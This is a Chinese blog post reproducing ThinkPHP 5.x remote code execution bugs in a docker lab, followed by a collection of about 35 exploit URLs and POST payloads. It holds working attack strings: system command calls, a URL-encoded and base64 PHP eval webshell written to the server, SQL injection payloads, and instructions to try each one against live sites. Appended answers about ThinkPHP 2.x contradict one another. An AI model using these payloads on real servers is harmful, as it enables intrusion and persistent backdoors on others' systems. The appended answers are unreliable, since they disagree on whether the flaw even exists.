Thinkphp v5.x 远程代码执行漏洞复现及POC集合

目录

0x01 Thinkphp5 5.0.22/5.1.29 rce( 远程代码执行)漏洞复现

1. 漏洞复现目标

2. 可利用的版本

3. 漏洞原理

4. Thinkphp框架判断

 5. 漏洞复现

 6. 漏洞修复

0x02 ThinkPHP5 5.0.23 rce漏洞

1. 漏洞复现目标

2.可利用版本

3.漏洞原理

4.漏洞复现

0x03 POC集合

1 Thinkphp 5.0.22 POC

2 Thinkphp 5 POC

3 Thinkphp 5.0.21 POC

4 Thinkphp 5.1.* POC

5 Thinkphp 未知版本 POC

6 Thinkphp 5.0.23 (完整版) debug模式 POC

7 Thinkphp 5.0.23 (完整版) POC

8 Thinkphp 5.0.10 (完整版) POC

9 Thinkphp 5.1.* 和 5.2.* 和 5.0.* POC

0x04 总结


0x01 Thinkphp5 5.0.22/5.1.29 rce( 远程代码执行)漏洞复现

1. 漏洞复现目标

可利用版本或版本范围、漏洞原理、验证poc 、exp、利用过程、需要的工具等

2. 可利用的版本

Thinkphp =5.0.22 / 5.1.29

3. 漏洞原理

该漏洞是由于ThinkPHP5在处理控制器传参时,没有对参数进行充分的过滤与验证,导致恶意用户可以通过提交恶意数据,构造出一个带有PHP函数的控制器方法,并通过URL参数的形式访问该方法,从而触发远程代码执行漏洞。

4. Thinkphp框架判断

访问http://xxx:8080/router.php,Thinkphp里面必定含有这个php文件。

 访问http://xxx:8080/?s=a

 5. 漏洞复现

5.1.开启docker环境,访问http://xxx:8080/

5.2. 执行poc

http://xxx:8080//index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100

 

5.3.执行whoami命令

http://192.168.136.130:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

 

5.4.漏洞挂马

使用哥斯拉(蚁剑、冰蝎)生成shell.php文件,使用burpsuite对shell.php文件进行URL编码

 写入一句话木马

http://xxx:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3c%3f%70%68%70%0a%65%76%61%6c%28%24%5f%50%4f%53%54%5b%22%70%61%73%73%22%5d%29%3b%0a

写入成功

使用哥斯拉进行连接,复现成功

 

 6. 漏洞修复

官方已经发布了修复该漏洞的版本,建议用户及时升级到5.0.23或5.1.30版本。此外,开发人员在进行Web应用开发时,应该对用户输入的数据进行充分的过滤与验证,避免类似情况再次发生。 总之,ThinkPHP5.0.22和5.1.29版本存在远程代码执行漏洞,攻击者可以通过构造恶意请求执行任意命令。为了防止此类漏洞的发生,开发人员需要对用户输入数据进行充分的过滤与验证,并定期检查和更新Web框架的版本。

0x02 ThinkPHP5 5.0.23 rce漏洞

1. 漏洞复现目标

可利用版本或版本范围、漏洞原理、验证poc 、exp、利用过程、需要的工具等

2.可利用版本

ThinkPHP5.0.23以下

3.漏洞原理

框架在获取请求方法时会错误地对其进行处理,这使攻击者可以调用Request类的任何方法,从而通过特定的利用链导致RCE漏洞。

4.漏洞复现

4.1.虚拟机开启docker环境,访问虚拟机的 ip 地址接上8080端口

4.2.Burp抓包修改传参方式为Post,url后接入/index.php?s=captcha,传入参数为"_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd"。pwd------显示当前目录

 尝试写入phpinfo

echo "<?php phpinfo(); ?>" > info.php

 

成功写入

 上传shell:

echo%20-n%20 PD9waHAKZXZhbCgkX1BPU1RbInBhc3MiXSk7Cg==%20|%20base64%20-d>%20/var/www/public/shell.php

 或者全部编码为URL编码

%65%63%68%6f%25%32%30%2d%6e%25%32%30%20%50%44%39%77%61%48%41%4b%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%49%6e%42%68%63%33%4d%69%58%53%6b%37%43%67%3d%3d%25%32%30%7c%25%32%30%62%61%73%65%36%34%25%32%30%2d%64%3e%25%32%30%2f%76%61%72%2f%77%77%77%2f%70%75%62%6c%69%63%2f%73%68%65%6c%6c%2e%70%68%70

 

使用哥斯拉成功连接

0x03 POC集合

注:判断某搭建thinkphp框架的网站是否存在远程代码执行漏洞(首先得判断thinkphp的版本用下述poc挨着测试看哪个poc会有回显然后再执行rce获取信息。)只需将poc挨着测试即可(替换网站?后的参数),首先得判断thinkphp版本看哪个poc会有回显然后再执行rce获取信息。

1 Thinkphp 5.0.22 POC

1、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username
2、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password
3、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
4、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

2 Thinkphp 5 POC

5、http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1

3 Thinkphp 5.0.21 POC

6、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
7、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

4 Thinkphp 5.1.* POC

8、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
9、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd
10、http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
11、http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
12、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
13、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
14、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
15、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd

5 Thinkphp 未知版本 POC

16、?s=index/\think\module/action/param1/${@phpinfo()}
17、?s=index/\think\Module/Action/Param/${@phpinfo()}
18、?s=index/\think/module/aciton/param1/${@print(THINK_VERSION)}
19、index.php?s=/home/article/view_recent/name/1'
header = "X-Forwarded-For:1') and extractvalue(1, concat(0x5c,(select md5(233))))#"
20、index.php?s=/home/shopcart/getPricetotal/tag/1%27
21、index.php?s=/home/shopcart/getpriceNum/id/1%27
22、index.php?s=/home/user/cut/id/1%27
23、index.php?s=/home/service/index/id/1%27
24、index.php?s=/home/pay/chongzhi/orderid/1%27
25、index.php?s=/home/pay/index/orderid/1%27
26、index.php?s=/home/order/complete/id/1%27
27、index.php?s=/home/order/complete/id/1%27
28、index.php?s=/home/order/detail/id/1%27
29、index.php?s=/home/order/cancel/id/1%27
30、index.php?s=/home/pay/index/orderid/1%27)%20UNION%20ALL%20SELECT%20md5(233)--+
31、POST /index.php?s=/home/user/checkcode/ HTTP/1.1
Content-Disposition: form-data; name="couponid"
1') union select sleep('''+str(sleep_time)+''')#

6 Thinkphp 5.0.23 (完整版) debug模式 POC

32、(post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx

7 Thinkphp 5.0.23 (完整版) POC

33、(post)public/index.php?s=captcha (data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al

8 Thinkphp 5.0.10 (完整版) POC

34、(post)public/index.php?s=index/index/index (data)s=whoami&_method=__construct&method&filter[]=system

9 Thinkphp 5.1.* 和 5.2.* 和 5.0.* POC

35、(post)public/index.php (data)c=exec&f=calc.exe&_method=filter

0x04 总结

限于个人实力有限,若有不正确的地方欢迎指正和讨论。

参考链接:GitHub - SkyBlueEternal/thinkphp-RCE-POC-Collection: thinkphp v5.x 远程代码执行漏洞-POC集合

  • 4
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
### 回答1: 这个问题是关于ThinkPHP 2.x是否存在代码漏洞的。据我所知,目前没有任何官方宣布过该版本存在漏洞的消息。但是任何一个应用程序都有可能存在漏洞,因此在使用任何版本的框架时都需要小心谨慎,并始终保持最新版本的更新。如果发现了任何问题,应该及时向官方反馈。 ### 回答2: thinkphp是一款非常流行的PHP开源框架,其中的2.x版本存在任意代码执行漏洞。该漏洞存在于框架的核心类文件中,攻击者可以构造特殊的参数,在受害者服务器上执行任意代码,导致服务器被入侵,甚至整个网站被控制。 具体来说,当用户的输入作为参数传递给框架的Loader类时,如果没有进行充分的过滤和验证,攻击者就可以通过注入恶意代码,来控制服务器。在thinkphp 2.x版本中,以下方法是存在问题的: ``` thinkphp/library/think/Loader.php -> import()方法 thinkphp/library/think/Template/Driver.php -> abstract parse()方法 ``` 在import方法中,如果用户通过GET或者POST请求向网站提交数据,在没有进行过滤的情况下,该参数会被直接传递给Loader类,当该参数中含有'://'或者'\\'时,Loader类会默认该参数为URL或文件路径,进而执行include等相关操作,这为攻击者提供了一个绕过安全限制的途径。 在parse方法中,如果用户提交了一个包含PHP代码的模板文件,攻击者可以通过提交的数据来控制parse方法执行时所使用的函数和参数,进而达到任意代码执行的效果。 为了避免该漏洞的出现,开发人员需要注意代码编写规范,尽量避免使用用户输入的数据来构造URL或文件路径,同时需要对用户输入进行充分的过滤和验证,包括数据类型、长度、格式等内容。此外,开发人员也可以使用更加先进的开发框架,或者借助第三方安全验证工具,对网站进行全面的安全测试,以及时发现和修复漏洞,保护网站安全。 ### 回答3: ThinkPHP是一款流行的PHP开发框架,被广泛应用于各种Web应用程序的开发。ThinkPHP 2.x是其中的一个早期版本,该版本因存在任意代码执行漏洞而备受关注。 该漏洞存在于ThinkPHP 2.x的模板解析机制中,该机制允许开发人员在视图页面中使用变量替换来展示动态内容。然而,在未对变量进行过滤的情况下,攻击者可以构造恶意变量,从而实现任意代码执行的攻击。 具体来说,攻击者可以通过在URL参数或提交数据中注入恶意变量来触发漏洞。该变量包含恶意代码,以及一些特殊参数来控制代码执行。攻击者可以通过该漏洞执行系统命令、读取敏感文件、获取访问权限等。 该漏洞的危害性较大,因此开发者应尽快升级到更高版本的ThinkPHP框架,或者采取其他措施来修复漏洞。具体措施包括: 1. 对用户提交的数据进行严格过滤和验证,确保不含有可疑的代码或命令。 2. 设置安全防护机制,如禁止用户上传和执行PHP文件、限制文件读写权限等。 3. 及时升级系统补丁,修复已知的安全漏洞。 总之,任意代码执行漏洞是一种非常危险的漏洞类型,需要开发人员加强安全意识和技术能力,采取有效的预防和修复措施,以确保Web应用程序的安全可靠。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值